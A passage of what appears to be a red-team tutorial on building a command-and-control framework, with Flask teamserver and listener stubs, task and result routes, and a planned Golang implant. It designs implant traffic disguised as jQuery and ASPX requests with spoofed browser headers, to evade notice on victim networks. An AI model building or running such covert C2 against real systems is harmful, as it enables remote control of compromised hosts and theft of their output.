Language?
We'll be using Python (Flask) for the Client, Teamserver & Listeners but Golang for the implant. I'm also a big fan of type hinting and strict type declarations, so we'll be defining those as we go through the endpoint requirements!
Operator Interface
These are the endpoints that will be relevant for the operator interface, it is also nice to note that everything in the operator interface has little to no stealth implications as this traffic will not be seen by the end victim.
Client -> Teamserver
Returns a list of registered agents
GET
https://teamserver:50050/agents
Password specified from teamserver
200: OK List of agents
Copy [
{
"IP": "192.168.1.1",
"Hostname": "Test",
"Sleep": "5",
"OS": "Windows x64",
"UID": "457eeb82",
"PID": "1234",
},
]
Sends a task to an agent
POST
https://teamserver:50050/task
This is forwarded to the HTTP listener at the endpoint: /aaaa
Password specified from teamserver
Request Body
The operation code for a given command
Arguments to be passed to the opcode
201: Created Successfully tasked beacon 400: Bad Request Unknown UID or Opcode
Copy {
"Beacon_UID": "jSUeIDs",
"Opcode": "0x1",
"Args": "-la",
"Task_ID": "bv3AiLU",
}
Attempts to retrieve the result of a given Task ID
GET
https://teamserver:50050/result/:task_id
You may get your task ID from the response parameter given by /task
Path Parameters
UID that corresponds to a task
Password specified from teamserver
Listener -> Teamserver (Internal)
Receives a task response from the HTTP listener
POST
https://teamserver:50050/result
Password specified from teamserver
Request Body
Teamserver -> Listener (Internal)
Sends a task to an agent
POST
http://listener:80/aaaa
Agent Interface
These endpoints will be visible on the victim and should be customized to blend in with the environment.
Retrieves a list of tasks from the listener
GET
http://listener:80/jquery-3.3.2.slim.min.js
The implant will iterate over the list of tasks and check if any of them belong to itself
200: OK A list of tasks
Copy [
{
"Beacon_UID": "jSUeIDs",
"Opcode": "0x1",
"Args": "-la",
},
...
]
Sends the result of the task issued to them
POST
http://listener:80/fd/ls/lsp.aspx
Request Body
Unique identifier for the task
Either the stdout or stderr if the stipulated task
Transactional Overview
Here's what a transaction, or task sequence would look like:
Client -> Teamserver (POST /task)
Sends a task to the teamserver, returns the Task ID
Teamserver -> Listener (POST /aaaa)
Forwards the task to an endpoint on the listener with the Task ID
Implant -> Listener (GET /<task_endpoint>)
Implant periodically queries listener for tasks, checks if it belongs to them
Implant -> Listener (POST /<result_endpoint)
Executes the given task, strips of all identifiers and only leaves the Task ID and Response
Listener -> Teamserver (POST /result)
Forwards the task result to the teamserver, at this point you only need the Task ID and Response
Client -> Teamserver (GET /result/:task_id)
Client will periodically query the teamserver for a result for their given Task ID
Code for Relevant Types
Transactional Data Types
Copy from dataclasses import dataclass
@dataclass
class Agent:
IP: str
Hostname: str
Sleep: str
OS: str
UID: str
PID: str
@dataclass
class Task:
Beacon_UID: str
Opcode: str
Args: str | None = None
class Initial_Task( Task ):
Task_ID: str
@dataclass
class Task_Response:
Task_ID: str
Response: str
Listener Data Types
These are the data types for the Teamserver and HTTP listener:
Copy @dataclass
class Teamserver:
ip: str
port: int
password: str
Copy @dataclass
class HTTP_Listener:
ip: str
name: str
port: int = 80
get_headers: dict = field( default_factory=get_default_headers_get )
post_headers: dict = field( default_factory=get_default_headers_post )
implant_routes: dict = field( default_factory=_get_default_implant_routes )
teamserver_routes: dict = field( default_factory=_get_default_teamserver_routes )
The headers for GET and POST are externally defined, this is to allow for customization of HTTP profiles!
HTTP Profile Example
Copy def get_default_headers_get():
return {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
}
def get_default_headers_post():
return {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Content-Type": "application/x-www-form-urlencoded",
}
def _get_default_implant_routes():
return {
"get_tasks": "/jquery-3.3.2.slim.min.js",
"post_results": "/fd/ls/lsp.aspx",
}
Hardcoded Routes
All routes in the Operator Interface can be hardcoded as they have no need to be customizable (I think) and are really only used to send data over listeners.
However, the routes that may have OPSEC considerations (Agent Interface) will be dynamically generated in order to increase modularity should you need to update the endpoints for your use case.
Operator Interface
Copy import flask
from models.teamserver import Teamserver
from models.general import Agent, Task, Initial_Task, Task_Response
class Teamserver_Handler( flask.Flask ):
"""
Flask application that handles teamserver endpoints
"""
def __init__( self, teamserver_cfg: Teamserver ):
"""
:param teamserver_cfg: The teamserver configuration
:type teamserver_cfg: Teamserver
"""
super().__init__( __name__ )
self.teamserver_cfg: Teamserver = teamserver_cfg
self.tasks: list[ Initial_Task ] = []
self.agents: list[ Agent ] = []
@self.route( "/agents", methods=[ "GET" ] )
def get_agents():
return "[TEAMSERVER] Hello from /agents!"
@self.route( "/task", methods=[ "POST" ] )
def send_task():
task_data = flask.request.get_data()
return f"[TEAMSERVER] POST /task: OK -> {task_data}"
@self.route( "/result", methods=[ "POST" ] )
def send_result():
result_data = flask.request.get_data()
return f"[TEAMSERVER] POST /result: OK -> {result_data}"
@self.route( "/result/<task_id>", methods=[ "GET" ] )
def get_result( task_id: str ):
return f"[TEAMSERVER] GET /result/{task_id}: OK"
def go( self ):
"""
Starts the teamserver server
"""
self.run( host=self.teamserver_cfg.ip, port=self.teamserver_cfg.port )
Agent Interface
Copy import flask
from models.http import HTTP_Listener
class HTTP_Handler( flask.Flask ):
"""
Handles HTTP listener
"""
def __init__( self, http_cfg: HTTP_Listener ):
"""
:param http_cfg: The HTTP listener configuration
:type http_cfg: HTTP_Listener
"""
super().__init__( __name__ )
self.http_cfg = http_cfg
self.tasks = []
self.add_url_rule( http_cfg.implant_routes[ "get_tasks" ], "get_tasks", self.get_tasks, methods=[ "GET" ] )
self.add_url_rule( http_cfg.implant_routes[ "post_results" ], "post_results", self.post_results,
methods=[ "POST" ] )
self.add_url_rule( http_cfg.teamserver_routes[ "send_task" ], "receive_tasks", self.send_task,
methods=[ "POST" ] )
self.add_url_rule( http_cfg.teamserver_routes[ "send_results" ], "send_results", self.send_results,
methods=[ "POST" ] )
def get_tasks( self ):
return "[LISTENER] GET /jquery-3.3.2.slim.min.js: OK"
def post_results( self ):
data = flask.request.get_data()
return "[LISTENER] POST /fd/ls/lsp.aspx: OK -> " + data.decode()
def send_task( self ):
data = flask.request.get_data()
return "[LISTENER] POST /aaaa: OK -> " + data.decode()
def send_results( self ):
data = flask.request.get_data()
return "[LISTENER] POST /result: OK -> " + data.decode()
def go( self ):
"""
Starts the HTTP server
"""
self.run( host=self.http_cfg.ip, port=self.http_cfg.port )
Barebones Template
With the above routes, let's try to spawn a new Teamserver instance and a HTTP listener on port 50050 and 80 respectively.
Copy from multiprocessing import Process
from models.http import HTTP_Listener
from models.teamserver import Teamserver
from interfaces.http import HTTP_Handler
from interfaces.teamserver import Teamserver_Handler
def start_http_listener( http: HTTP_Listener ):
http_handler = HTTP_Handler( http )
http_handler.go()
def start_teamserver( teamserver: Teamserver ):
teamserver_handler = Teamserver_Handler( teamserver )
teamserver_handler.go()
if __name__ == "__main__":
http_cfg = HTTP_Listener( ip="127.0.0.1", name="http" )
teamserver_cfg = Teamserver( ip="127.0.0.1", port=50050, password="password" )
http_server_process = Process( target=start_http_listener, args=( http_cfg, ) )
teamserver_process = Process( target=start_teamserver, args=( teamserver_cfg, ) )
http_server_process.start()
teamserver_process.start()
http_server_process.join()
teamserver_process.join()
Unit / Transactional Tests
I always like to write a test suite to test the moving parts of the framework, unfortunately I am really lazy to populate the objects with meaningful data, so the objective of this test suite is to ensure that each endpoint is correctly reading and parsing data.
Copy import requests
ENDPOINTS = {
1: ":50050/task",
2: ":80/aaaa",
3: ":80/jquery-3.3.2.slim.min.js",
4: ":80/fd/ls/lsp.aspx",
5: ":50050/result",
6: ":50050/result/test",
}
def test_transaction():
for idx, endpoint in ENDPOINTS.items():
post_data = "test_data"
url = "http://127.0.0.1"
match idx:
case 1:
print( "[1]" )
url += endpoint
response = requests.post( url, data=post_data )
print( response.text )
assert "OK" in response.text
case 2:
print( "[2]" )
url += endpoint
response = requests.post( url, data=post_data )
print( response.text )
assert "OK" in response.text
case 3:
print( "[3]" )
url += endpoint
response = requests.get( url )
print( response.text )
assert "OK" in response.text
case 4:
print( "[4]" )
url += endpoint
response = requests.post( url, data=post_data )
print( response.text )
assert "OK" in response.text
case 5:
print( "[5]" )
url += endpoint
response = requests.post( url, data=post_data )
print( response.text )
assert "OK" in response.text
case 6:
print( "[6]" )
url += endpoint
response = requests.get( url )
print( response.text )
assert "OK" in response.text
print( "" )
test_transaction()
First Run